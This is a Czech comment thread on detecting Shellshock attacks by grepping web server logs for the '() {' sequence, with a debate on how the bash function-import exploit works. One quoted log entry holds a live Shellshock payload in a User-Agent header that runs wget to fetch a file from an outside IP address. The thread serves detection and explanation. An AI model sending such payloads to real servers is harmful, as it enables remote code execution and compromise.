Mnohem efektivnější je grepovat logy na výskyt sekvence () {, která musí vždy vypadat takto. Ale stejně takovým způsobem odhalíte jen Script Kiddies, které byly tak hloupé, že exploit umístily do hlavičky User-Agent, která se loguje.
Přesto se něco zajímavého najde. Tohle dítě se třeba ani neobtěžovalo s nastudováním HTTP protokolu a tak metodou GET požaduje celou filesystémovou cestu :)
[29/Sep/2014:02:12:28 +0200] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 404 345 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
Dobry den,
funkci lze v bashi definovat i bez zavorek http://tldp.org/LDP/abs/html/functions.html
Jak jsem psal, jedna se o "nejpopularnejsi" retezec. Je jasne, ze to neodhali vse.
Dekuji za reakci
Mýlíte se. Když se vrátíme na začátek, tak podstata exploitu je v tom, že někdo do prostředí podstrčí proměnnou, jejíž obsah začíná na dvě kulaté závorky. V případě zneužití CGI to znamená odeslání HTTP hlavičky, jejíž obsah začíná na dvě kulaté závorky. Bez těch dvou kulatých závorek to prostě nejde. Více najdete v pátečním článku.
Samozřejmě, pokud nelogujete všechny HTTP hlavičky všech požadavků, dostanou se vám do logu jen takové požadavky, které používají speciálně upravené jméno v hlavičce User-Agent.
Ano, funguje. ale tohle není žádný exploit, jednoduše jste napsal skript, co nadefinuje funkci a následně spustí jiný příkaz.
Asi se budu opakovat, ale podstata exploitu je v tom, že speciální proměnnou prostředí donutíte bash aby spustil to, co mu v té proměnné prostředí určíte. A v takovém případě ta proměnná prostě musí začínat na dvě kulaté závorky, jinak ji bash vezme jako obyčejnou proměnnou a ne jako import funkce.